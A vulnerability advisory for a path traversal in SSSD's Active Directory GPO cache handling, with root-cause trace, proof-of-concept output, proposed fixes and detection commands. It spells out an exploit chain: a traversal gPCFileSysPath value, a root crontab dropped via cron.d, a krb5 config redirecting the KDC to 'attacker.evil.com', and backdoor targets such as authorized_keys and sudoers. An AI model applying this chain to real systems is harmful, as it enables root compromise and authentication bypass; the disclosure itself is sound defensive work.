GPO cache path traversal + Kerberos config injection
- CVE ID
- CVE-2026-14476
- Product
- sssd
- Severity
- Important (8.2)
- CVSS Vector
- CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
- CWE
- CWE-22
- Red Hat CVE
- Red Hat CVE page
Summary
The ad_gpo_extract_smb_components() function in src/providers/ad/ad_gpo.c parses the gPCFileSysPath LDAP attribute from Active Directory Group Policy Objects. The function converts Windows backslash separators to forward slashes but performs zero sanitization of .. path components. The resulting smb_path is concatenated directly with GPO_CACHE_PATH (/var/lib/sss/gpo_cache) to construct a filename where downloaded GPO policy content is written.
An attacker with GPO management access in Active Directory can set gPCFileSysPath to a value containing .. traversal sequences, causing the ad_gpo_child process (running as root) to write attacker-controlled content from the corresponding SMB share to arbitrary filesystem locations on every SSSD-enrolled Linux client. The attack is silent and asynchronous — SSSD refreshes GPOs in the background every 5 minutes (default), requiring no user interaction on the target hosts.
On default RHEL/Fedora configurations (SELinux enforcing), direct writes to /etc/cron.d/ are blocked, but the traversal can target /var/lib/sss/pubconf/krb5.include.d/ (labeled sssd_public_t, writable by sssd_t) to inject Kerberos configuration that redirects authentication to a rogue KDC.
Affected Versions
The vulnerability exists in all versions of SSSD that implement the AD GPO provider. The gPCFileSysPath parsing in ad_gpo_extract_smb_components() has never included path sanitization.
| Package | Version | Status | Verification |
|---|---|---|---|
| Upstream | 2.13.0 | Vulnerable — CONFIRMED | PoC compiled from source |
| RHEL 8 | sssd-ad-2.9.4-5.el8_10.4 | Vulnerable — CONFIRMED | Binary strings: gpo_cache%s unsanitized, no realpath |
| RHEL 9 | sssd-ad-2.9.8-2.el9 | Vulnerable — CONFIRMED | Binary strings: gpo_cache%s unsanitized, no realpath |
| RHEL 10 | sssd-ad-2.12.0-3.el10 | Vulnerable — CONFIRMED | Binary strings: gpo_cache%s unsanitized, no realpath |
| Fedora 42 | sssd-ad-2.11.1-2.fc42 | Vulnerable — CONFIRMED | Binary strings: gpo_cache%s unsanitized, no realpath |
Root Cause
File: src/providers/ad/ad_gpo.c
Function: ad_gpo_extract_smb_components()
Lines: 3855-3935
Data flow
LDAP (gPCFileSysPath attribute)
→ sysdb_attrs_get_string() [ad_gpo.c:4456]
→ talloc_strdup(raw_file_sys_path) [ad_gpo.c:4469]
→ ad_gpo_extract_smb_components() [ad_gpo.c:4470]
→ smb_path = "/" + everything after 4th backslash
→ backslashes after #4 converted to "/" but ".." preserved
→ smb_path serialized to ad_gpo_child process [ad_gpo.c:4601]
→ copy_smb_file_to_gpo_cache() [ad_gpo_child.c:612]
→ smbc_getFunctionOpen(smb_server + smb_share + smb_path + suffix) — reads from SMB
→ gpo_cache_store_file(smb_path, suffix, buf, buflen) [ad_gpo_child.c:534]
→ prepare_gpo_cache(GPO_CACHE_PATH, smb_path + suffix) — mkdir -p traversal path
→ filename = GPO_CACHE_PATH + smb_path + suffix — UNSANITIZED
→ sss_unique_file(filename) + sss_atomic_write_s() — WRITES ATTACKER CONTENT
No sanitization anywhere in the pipeline
Searched the entire GPO code path:
- No
realpath()orcanonicalize()calls - No
strstr("..")or equivalent checks - No path prefix validation after construction
- The
sssctl_cache.c:1066code usesrealpath()for cache cleanup, proving the developers know the function — it was simply never applied to the write path
ad_gpo_child runs as root
- Systemd unit (
sssd.service): NoUser=directive — SSSD starts as root - Binary ownership:
/usr/libexec/sssd/gpo_childisroot:root 755 - No privilege drop:
sss_child_start()forks without callingsetuid()/setgid(). Zero hits forsetuid,setgid,seteuid,drop_privinad_gpo_child.c. - SELinux context: Runs as
sssd_t(no domain transition forgpo_child)
Proof of Concept
poc/002-gpo-path-traversal-poc.c — Standalone C reproducer that faithfully replicates the full SSSD GPO pipeline (ad_gpo_extract_smb_components(), prepare_gpo_cache(), gpo_cache_store_file()) and demonstrates actual file writes outside the cache directory.
Build and run:
gcc -o 002-poc poc/002-gpo-path-traversal-poc.c -Wall
./002-poc
PoC output
=== SSSD GPO Cache Path Traversal PoC ===
Cache: /tmp/poc-gpo-cache
--- Case 1: Normal (benign) ---
smb_path: /corp/Policies/{ABC}
Constructed: /tmp/poc-gpo-cache/corp/Policies/{ABC}/Gpt.inf
Resolved: /tmp/poc-gpo-cache/corp/Policies/{ABC}/Gpt.inf
--- Case 2: Traversal to /tmp/poc-target ---
smb_path: /corp/../../../../../tmp/poc-target
Constructed: /tmp/poc-gpo-cache/corp/../../../../../tmp/poc-target/pwned.txt
Resolved: /tmp/poc-target/pwned.txt
*** FILE WRITTEN OUTSIDE CACHE ***
--- Case 3: Simulated cron.d write ---
smb_path: /corp/../../../../../tmp/poc-crondir
Constructed: /tmp/poc-gpo-cache/corp/../../../../../tmp/poc-crondir/backdoor
Resolved: /tmp/poc-crondir/backdoor
*** FILE WRITTEN OUTSIDE CACHE ***
=== RESULT: 2 file(s) escaped cache ===
CONFIRMED: arbitrary file write via GPO path traversal
SMB Clamping Exploit Chain
The smb_path with .. is used for BOTH the SMB download URI and the local cache path. Critically, libsmbclient clamps .. at the SMB share root (excess .. resolves to the share root), while the kernel resolves .. fully on the local filesystem. This differential creates the exploit:
-
Attacker creates
etc/cron.d/GPT.INIat the SysVol share root containing a valid crontab entry:* * * * * root <payload> -
Attacker modifies
gPCFileSysPathon a GPO object in Active Directory:\\dc\SysVol\corp.local\..\..\..\..\..\..\..\etc\cron.d -
SSSD parses
smb_path=/corp.local/../../../../../../../etc/cron.d -
SMB download: libsmbclient clamps
..at share root → requestsetc/cron.d/GPT.INIfrom SysVol → download SUCCEEDS -
Local cache write: kernel resolves
..fully → writes to/etc/cron.d/GPT.INI -
crond reads
/etc/cron.d/GPT.INIand executes the attacker’s crontab entry as root
libsmbclient clamping verified: Samba 4.19.4 (RHEL 8) and Samba 4.23.5 (RHEL 9/10) both clamp excess .. to the share root without error.
crond execution verified: cronie on RHEL 8 reads and executes /etc/cron.d/GPT.INI within 60 seconds.
SELinux Bypass via Kerberos Config Injection
On SELinux-enforcing systems (the RHEL default), direct writes to /etc/cron.d/ are blocked (sssd_t has zero write rules for system_cron_spool_t or etc_t). However, the traversal can target /var/lib/sss/pubconf/krb5.include.d/:
- Labeled
sssd_public_t— fully writable bysssd_t(create + write + add_name) - Only 1
..from/var/lib/sss/gpo_cache/ - Read by the Kerberos library via:
/etc/krb5.conf→includedir /etc/krb5.conf.d/→/etc/krb5.conf.d/enable_sssd_conf_dir→includedir /var/lib/sss/pubconf/krb5.include.d/ - krb5’s
includedirreads ALL files regardless of filename —GPT.INIis processed as krb5 config
Attack: The attacker places valid krb5 config on SysVol:
[realms]
CORP.LOCAL = {
kdc = attacker.evil.com
admin_server = attacker.evil.com
}
This redirects Kerberos authentication to the attacker’s server. On default AD configurations (krb5_validate=true, ad_opts.c:190), the rogue KDC’s TGT is validated against the host keytab and rejected — resulting in Kerberos denial of service. On non-default configurations with krb5_validate=false, the rogue KDC can authenticate any user with any password — full authentication bypass.
Verified on live SELinux-enforcing Fedora 42:
sesearch -A -s sssd_t -t sssd_public_t -c file -p create → ALLOWED
sesearch -A -s sssd_t -t sssd_public_t -c dir -p add_name → ALLOWED
ls -Zd /var/lib/sss/pubconf/krb5.include.d/ → sssd_public_t
Impact
Three attack paths, platform-stratified
| Path | SELinux enforcing | SELinux permissive | krb5_validate | Impact |
|---|---|---|---|---|
| krb5.include.d injection | File write WORKS | File write WORKS | true (default) | Kerberos DoS (KDC redirect, TGT rejected) |
| krb5.include.d injection | File write WORKS | File write WORKS | false (non-default) | Auth bypass (rogue KDC → any user) |
| /etc/cron.d/GPT.INI | Blocked | WORKS | N/A | Root RCE via crond |
CVSS justification
| Component | Value | Justification |
|---|---|---|
| AV (Attack Vector) | Network | GPO attributes are fetched over LDAP from Active Directory. |
| AC (Attack Complexity) | Low | Deterministic path traversal, no race conditions. |
| PR (Privileges Required) | High | Requires GPO management access in Active Directory plus SysVol write access. |
| UI (User Interaction) | None | SSSD refreshes GPOs in the background every 5 minutes (default). Silent and asynchronous. |
| S (Scope) | Changed | On non-default configs (krb5_validate=false), auth bypass crosses from AD admin scope to arbitrary Linux user scope. |
| C (Confidentiality) | High | Root RCE (SELinux permissive) or auth bypass (non-default krb5_validate). |
| I (Integrity) | High | Arbitrary file write as root. |
| A (Availability) | High | Kerberos DoS on all configurations; root RCE on permissive. |
Attack prerequisites
- GPO write access in AD: Delegated GPO management rights or Domain Admin. In many enterprises, GPO management is delegated to tier-2 admins or helpdesk teams.
- SysVol write access: GPO admins typically have SysVol write access. The SMB clamping exploit uses the legitimate SysVol share — no rogue server required.
- SSSD with ad_gpo_access_control enabled: Target Linux hosts must be domain-joined with GPO-based access control.
AD Tiering Model impact
In organizations using Microsoft’s Tier 0/1/2 model, GPO management is typically Tier 1 or Tier 2 — delegated to admins who are explicitly NOT granted root access on Linux hosts. This finding breaks that tiering: a Tier 1/2 GPO admin achieves root on every Linux host in the domain.
High-value write targets (SELinux permissive)
| Target | Path | Impact |
|---|---|---|
| Cron job | /etc/cron.d/<name> | Arbitrary command execution as root |
| PAM config | /etc/pam.d/sshd | Authentication bypass |
| SSH backdoor | /root/.ssh/authorized_keys | Passwordless root SSH |
| sudoers drop-in | /etc/sudoers.d/<name> | Privilege escalation |
| ld.so preload | /etc/ld.so.preload | Shared library injection into every process |
Workaround
There is no configuration-level workaround. The path traversal occurs before any SSSD configuration is consulted.
Detection: Monitor the GPO cache for traversal paths:
find /var/lib/sss/gpo_cache/ -path '*/..*' -ls
Mitigation: Disable GPO-based access control (ad_gpo_access_control = disabled in sssd.conf). This removes the GPO fetch entirely but loses GPO-based login policy enforcement.
Proposed Fix
Option A: Reject .. in smb_path (recommended, minimal change)
/* After constructing *_smb_path */
if (strstr(*_smb_path, "/..") != NULL) {
DEBUG(SSSDBG_CRIT_FAILURE,
"gPCFileSysPath contains path traversal: %s\n", input_path);
ret = EINVAL;
goto done;
}
Option B: Validate with realpath()
In gpo_cache_store_file(), resolve the path and verify the prefix:
char *resolved = realpath(filename, NULL);
if (resolved == NULL || strncmp(resolved, GPO_CACHE_PATH, strlen(GPO_CACHE_PATH)) != 0) {
DEBUG(SSSDBG_CRIT_FAILURE,
"GPO cache path escapes cache directory: %s -> %s\n",
filename, resolved ? resolved : "(null)");
free(resolved);
ret = EINVAL;
goto done;
}
free(resolved);
Option C: Defense in depth (combine A + B)
Reject .. at parsing time AND validate the resolved path at write time.
Option D: Kernel-level confinement (strongest)
Use openat2() with RESOLVE_BENEATH flag (Linux 5.6+) to make the kernel enforce path confinement.
Exploitation in the Wild
No known exploitation. This vulnerability requires AD-level GPO management access, limiting exposure to insider threats, compromised admin accounts, or post-exploitation lateral movement.
Timeline
| Date | Event |
|---|---|
| 2026-04-25 | Discovered during SSSD security assessment |
| 2026-04-26 | Reported to vendor |
| 2026-07-07 | Public disclosure |
References
- Red Hat CVE page
- NVD
- CVE-2023-3758: SSSD GPO race condition. Different vulnerability class (race, not traversal).
- CVE-2025-11561: SSSD Kerberos
an2lnfallback. Different vulnerability class (auth bypass). - CWE-22: Improper Limitation of a Pathname to a Restricted Directory
Credits
Discovered by Ian Murphy